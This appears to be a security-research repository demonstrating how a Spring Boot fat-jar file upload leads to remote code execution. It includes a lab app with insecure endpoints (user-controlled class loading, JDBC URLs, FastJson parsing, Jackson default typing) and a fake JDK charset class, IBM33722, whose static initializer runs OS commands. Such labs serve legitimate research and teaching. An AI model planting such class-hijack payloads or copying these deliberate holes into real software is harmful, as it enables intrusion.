├── charsets
├── src
│ ├── META-INF
│ │ └── MANIFEST.MF
│ └── sun
│ │ └── nio
│ │ └── cs
│ │ └── ext
│ │ ├── IBM33722.java
│ │ └── ExtendedCharsets.java
└── pom.xml
├── images
└── docker.png
├── release
└── charsets.jar
├── fatJarWriteFileRCE
├── src
│ └── main
│ │ ├── resources
│ │ ├── application.properties
│ │ ├── templates
│ │ │ ├── uploadStatus.html
│ │ │ ├── upload.html
│ │ │ └── index.html
│ │ └── static
│ │ │ └── jquery.form.min.js
│ │ ├── docker
│ │ └── Dockerfile
│ │ └── java
│ │ └── code
│ │ └── landgrey
│ │ ├── controller
│ │ ├── IndexController.java
│ │ ├── HelloController.java
│ │ ├── ClassForNameController.java
│ │ ├── JdbcController.java
│ │ ├── ClassLoaderController.java
│ │ ├── FastJsonController.java
│ │ ├── ListFileController.java
│ │ ├── JackSonController.java
│ │ └── UploadController.java
│ │ ├── Application.java
│ │ └── bean
│ │ ├── Car.java
│ │ └── User.java
└── pom.xml
├── .gitignore
└── README.md
/charsets/src/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Created-By: 1.7.0_07 (Oracle Corporation)
3 |
4 |
--------------------------------------------------------------------------------
/images/docker.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks/HEAD/images/docker.png
--------------------------------------------------------------------------------
/release/charsets.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks/HEAD/release/charsets.jar
--------------------------------------------------------------------------------
/fatJarWriteFileRCE/src/main/resources/application.properties:
--------------------------------------------------------------------------------
1 | server.port=18081
2 | server.address=0.0.0.0
3 |
4 | spring.servlet.multipart.max-file-size=10MB
5 | spring.servlet.multipart.max-request-size=10MB
6 |
--------------------------------------------------------------------------------
/fatJarWriteFileRCE/src/main/docker/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM openjdk:8-jdk-alpine
2 | VOLUME /tmp
3 | ADD ./fatJarWriteFileRCE-1.0-SNAPSHOT.jar /app.jar
4 | EXPOSE 18081
5 | ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar","/app.jar"]
6 | MAINTAINER LandGrey
7 |
--------------------------------------------------------------------------------
/fatJarWriteFileRCE/src/main/resources/templates/uploadStatus.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | 文件上传结果
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/fatJarWriteFileRCE/src/main/java/code/landgrey/controller/IndexController.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.controller;
2 |
3 | import org.springframework.stereotype.Controller;
4 | import org.springframework.web.bind.annotation.GetMapping;
5 |
6 | @Controller
7 | public class IndexController {
8 | @GetMapping("/")
9 | public String index(){
10 | return "index";
11 | }
12 | }
--------------------------------------------------------------------------------
/fatJarWriteFileRCE/src/main/java/code/landgrey/Application.java:
--------------------------------------------------------------------------------
1 | package code.landgrey;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 |
6 | @SpringBootApplication
7 | public class Application {
8 | public static void main(String[] args){
9 |
10 | SpringApplication.run(Application.class,args);
11 |
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/charsets/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 | code.landgrey
7 | charsets
8 | pom
9 |
10 | 1.0-SNAPSHOT
11 |
12 | 4.0.0
13 |
14 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | #
2 | .idea/
3 | target/
4 | charsets/.idea/
5 |
6 |
7 | # Compiled class file
8 | *.class
9 |
10 | # Log file
11 | *.log
12 |
13 | # BlueJ files
14 | *.ctxt
15 |
16 | # Mobile Tools for Java (J2ME)
17 | .mtj.tmp/
18 |
19 | # Package Files #
20 | *.war
21 | *.nar
22 | *.ear
23 | *.zip
24 | *.tar.gz
25 | *.rar
26 |
27 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
28 | hs_err_pid*
29 | *.iml
30 | fatJarWriteFileRCE/src/main/java/code/landgrey/test/test.java
31 | charsets/src/charsets.jar
32 |
--------------------------------------------------------------------------------
/fatJarWriteFileRCE/src/main/java/code/landgrey/controller/HelloController.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.controller;
2 |
3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
4 | import org.springframework.web.bind.annotation.RequestMapping;
5 | import org.springframework.web.bind.annotation.RestController;
6 |
7 | @RestController
8 | public class HelloController {
9 | @RequestMapping("/hello")
10 | public String hello(String name){
11 | if(name == null){
12 | name = "world";
13 | }
14 | return "hello " + name + " !";
15 | }
16 | }
--------------------------------------------------------------------------------
/fatJarWriteFileRCE/src/main/resources/templates/upload.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | 文件上传
6 |
7 |
8 |
9 |
13 |
14 |
15 |
18 |
19 |
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/fatJarWriteFileRCE/src/main/java/code/landgrey/controller/ClassForNameController.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.controller;
2 |
3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
4 | import org.springframework.web.bind.annotation.RequestMapping;
5 | import org.springframework.web.bind.annotation.RestController;
6 |
7 | @RestController
8 | @EnableAutoConfiguration
9 | public class ClassForNameController {
10 | @RequestMapping("/classForName")
11 | public String classForName(String name) throws Exception {
12 | if(name == null){
13 | name = "code.landgrey.bean.Car";
14 | }
15 | Class clazz = Class.forName(name);
16 | return "you got a " + name + " : =[" + clazz.newInstance().toString() + "]=";
17 | }
18 | }
--------------------------------------------------------------------------------
/fatJarWriteFileRCE/src/main/java/code/landgrey/controller/JdbcController.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.controller;
2 |
3 | import org.springframework.web.bind.annotation.GetMapping;
4 | import org.springframework.web.bind.annotation.RestController;
5 | import java.sql.DriverManager;
6 |
7 | @RestController
8 | public class JdbcController {
9 | @GetMapping("/jdbc")
10 | public String JdbcTest(String url){
11 | try{
12 | DriverManager.setLoginTimeout(10);
13 | Class.forName("com.mysql.jdbc.Driver");
14 | DriverManager.getConnection(url);
15 | }catch (Throwable t){
16 | t.printStackTrace();
17 | return "jdbc connection failed!";
18 | }
19 |
20 | return "jdbc connection success!";
21 | }
22 | }
--------------------------------------------------------------------------------
/fatJarWriteFileRCE/src/main/java/code/landgrey/controller/ClassLoaderController.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.controller;
2 |
3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
4 | import org.springframework.web.bind.annotation.RequestMapping;
5 | import org.springframework.web.bind.annotation.RestController;
6 |
7 | @RestController
8 | @EnableAutoConfiguration
9 | public class ClassLoaderController {
10 | @RequestMapping("/classLoader")
11 | public String classForName(String name) throws Exception {
12 | if(name == null){
13 | name = "code.landgrey.bean.User";
14 | }
15 | Class clazz = Thread.currentThread().getContextClassLoader().loadClass(name);
16 | return "you got a " + name + " : =[" + clazz.newInstance().toString() + "]=";
17 | }
18 | }
--------------------------------------------------------------------------------
/fatJarWriteFileRCE/src/main/java/code/landgrey/controller/FastJsonController.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.controller;
2 |
3 | import com.alibaba.fastjson.JSON;
4 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
5 | import org.springframework.web.bind.annotation.RequestBody;
6 | import org.springframework.web.bind.annotation.RequestMapping;
7 | import org.springframework.web.bind.annotation.RequestMethod;
8 | import org.springframework.web.bind.annotation.RestController;
9 |
10 | @RestController
11 | @EnableAutoConfiguration
12 | public class FastJsonController {
13 | @RequestMapping(path="/fastjson", method = RequestMethod.POST, produces = "application/json")
14 | public String testFastJson(@RequestBody String json){
15 | Object o = JSON.parse(json);
16 | return o.toString();
17 | }
18 | }
--------------------------------------------------------------------------------
/fatJarWriteFileRCE/src/main/java/code/landgrey/controller/ListFileController.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.controller;
2 |
3 | import org.springframework.web.bind.annotation.GetMapping;
4 | import org.springframework.web.bind.annotation.RestController;
5 |
6 | @RestController
7 | public class ListFileController {
8 | @GetMapping("/listFile")
9 | public String listFile() throws Throwable{
10 | String rs = "/tmp 目录文件列表: ===============================";
11 | String line;
12 | java.lang.Process proc = java.lang.Runtime.getRuntime().exec("ls -lt /tmp/");
13 | java.io.InputStream in = proc.getInputStream();
14 | java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in, "UTF-8"));
15 | while( (line = br.readLine()) != null){
16 | rs += line + "";
17 | }
18 | return rs;
19 | }
20 | }
--------------------------------------------------------------------------------
/fatJarWriteFileRCE/src/main/java/code/landgrey/bean/Car.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.bean;
2 |
3 |
4 | public class Car{
5 | private String brand;
6 | private long price;
7 |
8 | public Car(){
9 |
10 | }
11 |
12 | public Car(String brand){
13 | this.brand = brand;
14 | }
15 |
16 | public Car(String brand, long price){
17 | this.brand = brand;
18 | this.price = price;
19 | }
20 |
21 | public long getPrice() {
22 | return price;
23 | }
24 |
25 | public String getBrand() {
26 | return brand;
27 | }
28 |
29 | public void setBrand(String brand) {
30 | this.brand = brand;
31 | }
32 |
33 | public void setPrice(long price) {
34 | this.price = price;
35 | }
36 |
37 | @Override
38 | public String toString() {
39 | return " [brand: '" + brand + "', price: '" + price + "'] ";
40 | }
41 | }
--------------------------------------------------------------------------------
/fatJarWriteFileRCE/src/main/java/code/landgrey/controller/JackSonController.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.controller;
2 |
3 | import code.landgrey.bean.User;
4 | import com.fasterxml.jackson.core.JsonProcessingException;
5 | import com.fasterxml.jackson.databind.ObjectMapper;
6 | import org.springframework.beans.factory.annotation.Autowired;
7 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
8 | import org.springframework.web.bind.annotation.RequestBody;
9 | import org.springframework.web.bind.annotation.RequestMapping;
10 | import org.springframework.web.bind.annotation.RequestMethod;
11 | import org.springframework.web.bind.annotation.RestController;
12 |
13 | @RestController
14 | @EnableAutoConfiguration
15 | public class JackSonController {
16 | @Autowired
17 | private ObjectMapper objectMapper;
18 |
19 | @RequestMapping(path="/jackson", method = RequestMethod.POST)
20 | public String testJackSon(@RequestBody String json) throws Throwable {
21 | objectMapper.enableDefaultTyping();
22 | Object o = objectMapper.readValue(json, Object.class);
23 | return o.toString();
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/charsets/src/sun/nio/cs/ext/IBM33722.java:
--------------------------------------------------------------------------------
1 | package sun.nio.cs.ext;
2 |
3 | import java.util.UUID;
4 |
5 |
6 | public class IBM33722 {
7 | static {
8 | fun();
9 | }
10 |
11 | public IBM33722(){
12 | fun();
13 | }
14 |
15 | private static java.util.HashMap fun(){
16 | String[] command;
17 | String random = UUID.randomUUID().toString().replace("-","").substring(1,9);
18 | String osName = System.getProperty("os.name");
19 | if (osName.startsWith("Mac OS")) {
20 | command = new String[]{"/bin/bash", "-c", "open -a Calculator"};
21 | } else if (osName.startsWith("Windows")) {
22 | command = new String[]{"cmd.exe", "/c", "calc"};
23 | } else {
24 | if(new java.io.File("/bin/bash").exists()){
25 | command = new String[]{"/bin/bash", "-c", "touch /tmp/charsets_test_" + random + ".log"};
26 | }else{
27 | command = new String[]{"/bin/sh", "-c", "touch /tmp/charsets_test_" + random + ".log"};
28 | }
29 | }
30 | try{
31 | java.lang.Runtime.getRuntime().exec(command);
32 | }catch (Throwable e1){
33 | e1.printStackTrace();
34 | }
35 | return null;
36 | }
37 |
38 |
39 | }
40 |
--------------------------------------------------------------------------------
/fatJarWriteFileRCE/src/main/java/code/landgrey/bean/User.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.bean;
2 |
3 | public class User {
4 | private String name;
5 | private Integer age;
6 | private Car car;
7 | private Object secret;
8 |
9 | public User(){
10 |
11 | }
12 |
13 | public User(String name){
14 | this.name = name;
15 | }
16 |
17 | public void setName(String name) {
18 | this.name = name;
19 | }
20 |
21 | public String getName() {
22 | return name;
23 | }
24 |
25 | public void setAge(Integer age) {
26 | this.age = age;
27 | }
28 |
29 | public Integer getAge() {
30 | return age;
31 | }
32 |
33 | public void setCar(Car car) {
34 | this.car = car;
35 | }
36 |
37 | public Car getCar() {
38 | return car;
39 | }
40 |
41 | public Object getSecret() {
42 | return secret;
43 | }
44 |
45 | public void setSecret(Object secret) {
46 | this.secret = secret;
47 | }
48 |
49 | @Override
50 | public String toString() {
51 | if(car != null && secret != null){
52 | return "name: '" + name + "', age: '" + age + "', car: '" + car.toString() + "', secret: '" + secret.toString() + "'";
53 | }
54 | return "name: '" + name + "', age: '" + age + "'";
55 | }
56 |
57 | }
58 |
--------------------------------------------------------------------------------
/fatJarWriteFileRCE/src/main/resources/templates/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 | SpringBoot FatJar 文件上传漏洞到 RCE
4 |
5 |
6 | 系统功能：
7 |
13 |
14 |
15 | 源码及参考：
16 |
19 |
20 |
21 |
24 |
25 |
28 |
29 |
36 |
37 |
38 |